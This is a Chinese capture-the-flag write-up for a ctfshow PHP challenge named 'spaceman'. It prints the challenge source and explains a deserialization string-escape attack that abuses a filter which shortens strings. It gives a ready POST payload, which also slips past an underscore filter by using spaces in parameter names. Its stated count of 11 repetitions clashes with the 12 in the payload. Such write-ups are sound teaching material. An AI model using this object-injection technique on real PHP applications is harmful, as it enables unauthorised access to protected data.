spaceman
源码如下所示
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
可以看到,是反序列化字符逃逸,这里是字符减少的情况,一个对象经过序列化之后的格式为:
O:类名的长度:类名:类里包含的变量个数:{类型:长度:值;类型:长度:值…}
每替换一次,字符串长度减少2
后面要传入1";s:8:"password";s:10:"ctfshowvip
,也就是要把s:8:"password";s:36:"1
这24个字符吞掉,所以需要传11个ctfshowup
这里预期的序列化后的内容
O:8:"spaceman":2:{s:8:"username";s:4:"xxxx";s:8:"password";s:10:"ctfshowvip";}
最终payload:
POST:
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip
最后得到flag